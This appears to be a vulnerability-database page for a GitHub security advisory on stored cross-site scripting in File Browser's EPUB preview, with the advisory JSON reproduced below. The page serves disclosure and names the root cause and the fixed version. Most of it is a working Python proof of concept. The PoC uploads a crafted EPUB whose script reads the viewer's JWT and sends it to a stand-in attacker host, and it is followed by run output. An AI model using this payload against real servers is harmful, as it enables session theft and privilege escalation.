GHSA-5VPR-4FGW-F69H

Vulnerability from github – Published: 2026-03-31 23:44 – Updated: 2026-04-06 16:47
VLAI?
Summary
File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file
Details

Summary

The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.

Details

frontend/src/views/files/Preview.vue passes allowScriptedContent: true to the vue-reader (epub.js) component:

// frontend/src/views/files/Preview.vue (Line 87)
:epubOptions="{
  allowPopups: true,
  allowScriptedContent: true,
}"

epub.js renders EPUB content inside a sandboxed with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective — the script can access the parent frame's DOM and storage.

The epub.js developers explicitly warn against enabling scripted content.

PoC

I've crafted the PoC python script that could be ran on test environment using docker compose:

services:

  filebrowser:
    image: filebrowser/filebrowser:v2.62.1
    user: 0:0
    ports:
      - "80:80"

And running this PoC python script:

import argparse
import io
import sys
import zipfile
import requests


BANNER = """
  Stored XSS via EPUB PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
  Related: CVE-2024-35236 (same pattern in audiobookshelf)
"""



CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
  <rootfiles>
    <rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>
  </rootfiles>
</container>"""



CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0">
  <metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
    <dc:identifier id="uid">poc-xss-epub-001</dc:identifier>
    <dc:title>Security Test Document</dc:title>
    <dc:language>en</dc:language>
    <meta property="dcterms:modified">2025-01-01T00:00:00Z</meta>
  </metadata>
  <manifest>
    <item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/>
    <item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/>
  </manifest>
  <spine>
    <itemref idref="chapter1"/>
  </spine>
</package>"""



NAV_XHTML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
<head><title>Navigation</title></head>
<body>
  <nav epub:type="toc">
    <ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol>
  </nav>
</body>
</html>"""



XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chapter 1</title></head>
<body>
  <h1>Security Test Document</h1>
  <p>This document tests EPUB script execution in File Browser.</p>
  <p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p>
  <p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p>
  <script>
  var out = document.getElementById("xss-proof");
  var ipOut = document.getElementById("ip-proof");
  var jwt = "not-found";
  try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; }
  out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt;
  fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){
    ipOut.textContent = "Victim public IP: " + ip.trim();
  }).catch(function(e){
    ipOut.textContent = "IP fetch failed: " + e.message;
  });
  var img = new Image();
  img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt);
  </script>
</body>
</html>"""




def login(base: str, username: str, password: str) -> str:
    r = requests.post(f"{base}/api/login",
                      json={"username": username, "password": password},
                      timeout=10)
    if r.status_code != 200:
        print(f"[-] Login failed: {r.status_code}")
        sys.exit(1)
    return r.text.strip('"')



def build_epub() -> bytes:
    """Build a minimal EPUB 3 file with embedded JavaScript."""
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED)
        zf.writestr("META-INF/container.xml", CONTAINER_XML)
        zf.writestr("OEBPS/content.opf", CONTENT_OPF)
        zf.writestr("OEBPS/nav.xhtml", NAV_XHTML)
        zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER)
    return buf.getvalue()



def main():
    print(BANNER)
    ap = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="Stored XSS via malicious EPUB PoC",
        epilog="""examples:
  %(prog)s -t http://localhost:8080 -u admin -p admin
  %(prog)s -t http://target.com/filebrowser -u user -p pass

root cause:
  frontend/src/views/files/Preview.vue passes
  epubOptions: { allowScriptedContent: true } to the vue-reader
  (epub.js) component. The iframe sandbox includes allow-scripts
  and allow-same-origin, which lets the script access the parent
  frame's localStorage and make arbitrary network requests.

impact:
  Session hijacking, privilege escalation, data exfiltration.
  A low-privilege user with upload access can steal admin tokens.""",
    )

    ap.add_argument("-t", "--target", required=True,
                    help="Base URL of File Browser (e.g. http://localhost:8080)")
    ap.add_argument("-u", "--user", required=True,
                    help="Username to authenticate with")
    ap.add_argument("-p", "--password", required=True,
                    help="Password to authenticate with")
    if len(sys.argv) == 1:
        ap.print_help()
        sys.exit(1)
    args = ap.parse_args()

    base = args.target.rstrip("/")

    print()
    print("[*] ATTACK BEGINS...")
    print("====================")

    print(f"  [1] Authenticating to {base}")
    token = login(base, args.user, args.password)
    print(f"      Logged in as: {args.user}")

    print(f"\n  [2] Building malicious EPUB")
    epub_data = build_epub()
    print(f"      EPUB size: {len(epub_data)} bytes")

    upload_path = "/poc_xss_test.epub"
    print(f"\n  [3] Uploading to {upload_path}")
    requests.delete(f"{base}/api/resources{upload_path}",
                    headers={"X-Auth": token}, timeout=10)
    r = requests.post(
        f"{base}/api/resources{upload_path}?override=true",
        data=epub_data,
        headers={
            "X-Auth": token,
            "Content-Type": "application/epub+zip",
        },
        timeout=30
    )

    if r.status_code in (200, 201, 204):
        print(f"      Upload OK ({r.status_code})")
    else:
        print(f"      Upload FAILED: {r.status_code} {r.text[:200]}")
        sys.exit(1)

    preview_url = f"{base}/files{upload_path}"

    print(f"\n  [4] Done")
    print(f"      Preview URL: {preview_url}")
    print("====================")
    print()
    print()
    print(f"Open the URL above in a browser. You should see:")
    print(f"  - Red text:    \"XSS OK\" + stolen JWT token")
    print(f"  - Orange text: victim's public IP (via ifconfig.me)")
    print()
    print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).")
    print(f"The attack is silent — JWT theft and network exfiltration work.")


if __name__ == "__main__":
    main()

And terminal output:

root@server205:~/sec-filebrowser# python3 poc_xss_epub.py  -t http://localhost -u admin -p VJlfum8fGTmyXx8t

  Stored XSS via EPUB PoC
  Affected: filebrowser/filebrowser <=v2.62.1
  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
  Related: CVE-2024-35236 (same pattern in audiobookshelf)


[*] ATTACK BEGINS...
====================
  [1] Authenticating to http://localhost
      Logged in as: admin

  [2] Building malicious EPUB
      EPUB size: 1927 bytes

  [3] Uploading to /poc_xss_test.epub
      Upload OK (200)

  [4] Done
      Preview URL: http://localhost/files/poc_xss_test.epub
====================


Open the URL above in a browser. You should see:
  - Red text:    "XSS OK" + stolen JWT token
  - Orange text: victim's public IP (via ifconfig.me)

NOTE: alert() is blocked by iframe sandbox (no allow-modals).
The attack is silent — JWT theft and network exfiltration work.


Impact

  • JWT token theft — full session hijacking
  • Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.62.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.62.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:44:36Z",
    "nvd_published_at": "2026-04-01T21:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim\u0027s browser when they preview the file.\n\n### Details\n\n`frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component:\n```js\n// frontend/src/views/files/Preview.vue (Line 87)\n:epubOptions=\"{\n  allowPopups: true,\n  allowScriptedContent: true,\n}\"\n```\nepub.js renders EPUB content inside a sandboxed \u003ciframe\u003e with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) \u2014 the script can access the parent frame\u0027s DOM and storage.\n\nThe epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content).\n\n### PoC\nI\u0027ve crafted the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n  filebrowser:\n    image: filebrowser/filebrowser:v2.62.1\n    user: 0:0\n    ports:\n      - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport io\nimport sys\nimport zipfile\nimport requests\n\n\nBANNER = \"\"\"\n  Stored XSS via EPUB PoC\n  Affected: filebrowser/filebrowser \u003c=v2.62.1\n  Root cause: Preview.vue -\u003e epubOptions: { allowScriptedContent: true }\n  Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\"\"\"\n\n\n\nCONTAINER_XML = \"\"\"\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003ccontainer version=\"1.0\" xmlns=\"urn:oasis:names:tc:opendocument:xmlns:container\"\u003e\n  \u003crootfiles\u003e\n    \u003crootfile full-path=\"OEBPS/content.opf\" media-type=\"application/oebps-package+xml\"/\u003e\n  \u003c/rootfiles\u003e\n\u003c/container\u003e\"\"\"\n\n\n\nCONTENT_OPF = \"\"\"\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cpackage xmlns=\"http://www.idpf.org/2007/opf\" unique-identifier=\"uid\" version=\"3.0\"\u003e\n  \u003cmetadata xmlns:dc=\"http://purl.org/dc/elements/1.1/\"\u003e\n    \u003cdc:identifier id=\"uid\"\u003epoc-xss-epub-001\u003c/dc:identifier\u003e\n    \u003cdc:title\u003eSecurity Test Document\u003c/dc:title\u003e\n    \u003cdc:language\u003een\u003c/dc:language\u003e\n    \u003cmeta property=\"dcterms:modified\"\u003e2025-01-01T00:00:00Z\u003c/meta\u003e\n  \u003c/metadata\u003e\n  \u003cmanifest\u003e\n    \u003citem id=\"chapter1\" href=\"chapter1.xhtml\" media-type=\"application/xhtml+xml\"/\u003e\n    \u003citem id=\"nav\" href=\"nav.xhtml\" media-type=\"application/xhtml+xml\" properties=\"nav\"/\u003e\n  \u003c/manifest\u003e\n  \u003cspine\u003e\n    \u003citemref idref=\"chapter1\"/\u003e\n  \u003c/spine\u003e\n\u003c/package\u003e\"\"\"\n\n\n\nNAV_XHTML = \"\"\"\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:epub=\"http://www.idpf.org/2007/ops\"\u003e\n\u003chead\u003e\u003ctitle\u003eNavigation\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n  \u003cnav epub:type=\"toc\"\u003e\n    \u003col\u003e\u003cli\u003e\u003ca href=\"chapter1.xhtml\"\u003eChapter 1\u003c/a\u003e\u003c/li\u003e\u003c/ol\u003e\n  \u003c/nav\u003e\n\u003c/body\u003e\n\u003c/html\u003e\"\"\"\n\n\n\nXSS_CHAPTER = \"\"\"\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\n\u003chead\u003e\u003ctitle\u003eChapter 1\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n  \u003ch1\u003eSecurity Test Document\u003c/h1\u003e\n  \u003cp\u003eThis document tests EPUB script execution in File Browser.\u003c/p\u003e\n  \u003cp id=\"xss-proof\" style=\"color: red; font-weight: bold;\"\u003eWaiting...\u003c/p\u003e\n  \u003cp id=\"ip-proof\" style=\"color: orange; font-weight: bold;\"\u003eFetching IP...\u003c/p\u003e\n  \u003cscript\u003e\n  var out = document.getElementById(\"xss-proof\");\n  var ipOut = document.getElementById(\"ip-proof\");\n  var jwt = \"not-found\";\n  try { jwt = window.parent.localStorage.getItem(\"jwt\"); } catch(e) { jwt = \"error: \" + e.message; }\n  out.innerHTML = \"XSS OK\" + String.fromCharCode(60) + \"br/\" + String.fromCharCode(62) + \"JWT: \" + jwt;\n  fetch(\"https://ifconfig.me/ip\").then(function(r){ return r.text(); }).then(function(ip){\n    ipOut.textContent = \"Victim public IP: \" + ip.trim();\n  }).catch(function(e){\n    ipOut.textContent = \"IP fetch failed: \" + e.message;\n  });\n  var img = new Image();\n  img.src = \"https://attacker.example/?stolen=\" + encodeURIComponent(jwt);\n  \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\"\"\"\n\n\n\n\ndef login(base: str, username: str, password: str) -\u003e str:\n    r = requests.post(f\"{base}/api/login\",\n                      json={\"username\": username, \"password\": password},\n                      timeout=10)\n    if r.status_code != 200:\n        print(f\"[-] Login failed: {r.status_code}\")\n        sys.exit(1)\n    return r.text.strip(\u0027\"\u0027)\n\n\n\ndef build_epub() -\u003e bytes:\n    \"\"\"Build a minimal EPUB 3 file with embedded JavaScript.\"\"\"\n    buf = io.BytesIO()\n    with zipfile.ZipFile(buf, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n        zf.writestr(\"mimetype\", \"application/epub+zip\", compress_type=zipfile.ZIP_STORED)\n        zf.writestr(\"META-INF/container.xml\", CONTAINER_XML)\n        zf.writestr(\"OEBPS/content.opf\", CONTENT_OPF)\n        zf.writestr(\"OEBPS/nav.xhtml\", NAV_XHTML)\n        zf.writestr(\"OEBPS/chapter1.xhtml\", XSS_CHAPTER)\n    return buf.getvalue()\n\n\n\ndef main():\n    print(BANNER)\n    ap = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=\"Stored XSS via malicious EPUB PoC\",\n        epilog=\"\"\"examples:\n  %(prog)s -t http://localhost:8080 -u admin -p admin\n  %(prog)s -t http://target.com/filebrowser -u user -p pass\n\nroot cause:\n  frontend/src/views/files/Preview.vue passes\n  epubOptions: { allowScriptedContent: true } to the vue-reader\n  (epub.js) component. The iframe sandbox includes allow-scripts\n  and allow-same-origin, which lets the script access the parent\n  frame\u0027s localStorage and make arbitrary network requests.\n\nimpact:\n  Session hijacking, privilege escalation, data exfiltration.\n  A low-privilege user with upload access can steal admin tokens.\"\"\",\n    )\n\n    ap.add_argument(\"-t\", \"--target\", required=True,\n                    help=\"Base URL of File Browser (e.g. http://localhost:8080)\")\n    ap.add_argument(\"-u\", \"--user\", required=True,\n                    help=\"Username to authenticate with\")\n    ap.add_argument(\"-p\", \"--password\", required=True,\n                    help=\"Password to authenticate with\")\n    if len(sys.argv) == 1:\n        ap.print_help()\n        sys.exit(1)\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n\n    print()\n    print(\"[*] ATTACK BEGINS...\")\n    print(\"====================\")\n\n    print(f\"  [1] Authenticating to {base}\")\n    token = login(base, args.user, args.password)\n    print(f\"      Logged in as: {args.user}\")\n\n    print(f\"\\n  [2] Building malicious EPUB\")\n    epub_data = build_epub()\n    print(f\"      EPUB size: {len(epub_data)} bytes\")\n\n    upload_path = \"/poc_xss_test.epub\"\n    print(f\"\\n  [3] Uploading to {upload_path}\")\n    requests.delete(f\"{base}/api/resources{upload_path}\",\n                    headers={\"X-Auth\": token}, timeout=10)\n    r = requests.post(\n        f\"{base}/api/resources{upload_path}?override=true\",\n        data=epub_data,\n        headers={\n            \"X-Auth\": token,\n            \"Content-Type\": \"application/epub+zip\",\n        },\n        timeout=30\n    )\n\n    if r.status_code in (200, 201, 204):\n        print(f\"      Upload OK ({r.status_code})\")\n    else:\n        print(f\"      Upload FAILED: {r.status_code} {r.text[:200]}\")\n        sys.exit(1)\n\n    preview_url = f\"{base}/files{upload_path}\"\n\n    print(f\"\\n  [4] Done\")\n    print(f\"      Preview URL: {preview_url}\")\n    print(\"====================\")\n    print()\n    print()\n    print(f\"Open the URL above in a browser. You should see:\")\n    print(f\"  - Red text:    \\\"XSS OK\\\" + stolen JWT token\")\n    print(f\"  - Orange text: victim\u0027s public IP (via ifconfig.me)\")\n    print()\n    print(f\"NOTE: alert() is blocked by iframe sandbox (no allow-modals).\")\n    print(f\"The attack is silent \u2014 JWT theft and network exfiltration work.\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_xss_epub.py  -t http://localhost -u admin -p VJlfum8fGTmyXx8t\n\n  Stored XSS via EPUB PoC\n  Affected: filebrowser/filebrowser \u003c=v2.62.1\n  Root cause: Preview.vue -\u003e epubOptions: { allowScriptedContent: true }\n  Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\n\n[*] ATTACK BEGINS...\n====================\n  [1] Authenticating to http://localhost\n      Logged in as: admin\n\n  [2] Building malicious EPUB\n      EPUB size: 1927 bytes\n\n  [3] Uploading to /poc_xss_test.epub\n      Upload OK (200)\n\n  [4] Done\n      Preview URL: http://localhost/files/poc_xss_test.epub\n====================\n\n\nOpen the URL above in a browser. You should see:\n  - Red text:    \"XSS OK\" + stolen JWT token\n  - Orange text: victim\u0027s public IP (via ifconfig.me)\n\nNOTE: alert() is blocked by iframe sandbox (no allow-modals).\nThe attack is silent \u2014 JWT theft and network exfiltration work.\n```\n\n\n\u003cbr/\u003e\n\n### Impact\n- JWT token theft \u2014 full session hijacking\n- Privilege escalation \u2014 a low-privilege user with upload (Create) permission can steal an admin\u0027s token",
  "id": "GHSA-5vpr-4fgw-f69h",
  "modified": "2026-04-06T16:47:16Z",
  "published": "2026-03-31T23:44:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5vpr-4fgw-f69h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34529"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…